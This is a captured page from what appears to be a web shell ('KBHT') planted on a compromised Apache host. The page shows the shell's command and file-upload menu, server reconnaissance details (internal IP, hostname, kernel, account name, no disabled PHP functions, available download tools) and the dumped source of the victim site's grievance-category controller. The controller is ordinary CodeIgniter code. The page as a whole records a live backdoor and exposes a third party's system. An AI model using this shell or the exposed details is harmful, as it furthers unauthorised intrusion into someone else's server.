GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.136.19.203
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../web/../grievance/application/controllers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../web/../grievance/application/controllers/GrievanceCategory.php
<?php

/**
 * Controller For Handling All Requests Related To Grievance Categories
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class GrievanceCategory extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->helper('url');
        $this->load->library('session');
        $this->load->helper('form');
        $this->load->library('form_validation');
        $this->load->model("GrievanceCategoryManagement");
    }

    public function index() {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) {
            $viewData['non_del_gcatgs'] = $this->GrievanceCategoryManagement->getNonDeletedGrievanceCategoriesOfInstitute($this->session->userdata('inst_id'))->result();
            $this->load->view('grievance_catgs', $viewData);
        } else {
            redirect("Home/");
        }
    }

    public function createGCategory() {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) {
            $this->load->view('add_grievance_catg');
        } else {
            redirect("Home/");
        }
    }

    public function saveGCategory() {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) {
            $this->form_validation->set_rules('gCatTitle', 'Grievance Title', 'trim|required', array('required' => 'Grievance Category Title Is Required.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createGCategory();
            } else {
                $NewGCatInfo = array(
                    'gcm_title' => $this->input->post('gCatTitle'),
                    'gcm_description' => $this->input->post('gCatDesc'),
                    'clg_id' => $this->session->userdata('inst_id'),
                    'gcm_added_on' => date("Y-m-d H:i:s"),
                    'gcm_added_by' => $this->session->userdata('id'),
                    'gcm_updated_on' => date("Y-m-d H:i:s"),
                    'gcm_updated_by' => $this->session->userdata('id')
                );
                if ($this->GrievanceCategoryManagement->createNewGrievanceCategory($NewGCatInfo)) {
                    $this->session->set_flashdata('successMessage', 'Grievance Category Created Successfully.');
                    redirect("GrievanceCategory");
                } else {
                    $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Creating Grievance Category Info. Try Later.');
                    $this->createGCategory();
                }
            }
        } else {
            redirect("Home/");
        }
    }

    public function toggleGCategoryActiveStatus($gcm_id, $toUpdateStatus) {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) {
            $grievanceUpdateData = array(
                'gcm_id' => $gcm_id,
                'gcm_active_status' => $toUpdateStatus,
                'gcm_updated_on' => date("Y-m-d H:i:s"),
                'gcm_updated_by' => $this->session->userdata('id')
            );
            if ($this->GrievanceCategoryManagement->updateGrievanceCategoryInfo($grievanceUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Grievance Category Status Updated Successfully.');
                redirect("GrievanceCategory");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Grievance Category Status. Try Later.');
                redirect("GrievanceCategory");
            }
        } else {
            redirect("Home/");
        }
    }

    public function deleteGCategory($gcm_id) {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) {
            $grievanceCatDeleteData = array(
                'gcm_id' => $gcm_id,
                'gcm_updated_on' => date("Y-m-d H:i:s"),
                'gcm_updated_by' => $this->session->userdata('id'),
                'gcm_delete_status' => 'T'
            );
            if ($this->GrievanceCategoryManagement->updateGrievanceCategoryInfo($grievanceCatDeleteData)) {
                $this->session->set_flashdata('successMessage', 'Grievance Category Deleted Successfully.');
                redirect("GrievanceCategory");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Grievance Category. Try Later.');
                redirect("GrievanceCategory");
            }
        } else {
            redirect("Home/");
        }
    }

    public function editGCategory($gcm_id) {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) {
            $viewData['gCategory_info'] = $this->GrievanceCategoryManagement->getGrievanceCategoryInfoById($gcm_id)->result()[0];
            $this->load->view('edit_grievance_catg', $viewData);
        } else {
            redirect("Home/");
        }
    }

    public function updateGCategory() {
        if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) {
            $this->form_validation->set_rules('gCatTitle', 'Grievance Title', 'trim|required', array('required' => 'Grievance Category Title Is Required.'));
            if ($this->form_validation->run() == FALSE) {
                $this->editGCategory($this->input->post('gCatId'));
            } else {
                $gCategoryUpdateInfo = array(
                    'gcm_id' => $this->input->post('gCatId'),
                    'gcm_title' => $this->input->post('gCatTitle'),
                    'gcm_description' => $this->input->post('gCatDesc'),
                    'clg_id' => $this->session->userdata('inst_id'),
                    'gcm_added_on' => date("Y-m-d H:i:s"),
                    'gcm_added_by' => $this->session->userdata('id'),
                    'gcm_updated_on' => date("Y-m-d H:i:s"),
                    'gcm_updated_by' => $this->session->userdata('id')
                );
                if ($this->GrievanceCategoryManagement->updateGrievanceCategoryInfo($gCategoryUpdateInfo)) {
                    $this->session->set_flashdata('successMessage', 'Grievance Category Updated Successfully.');
                    redirect("GrievanceCategory");
                } else {
                    $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Grievance Category Info. Try Later.');
                    $this->editGCategory($this->input->post('gCatId'));
                }
            }
        } else {
            redirect("Home/");
        }
    }

}

KBHT - 2023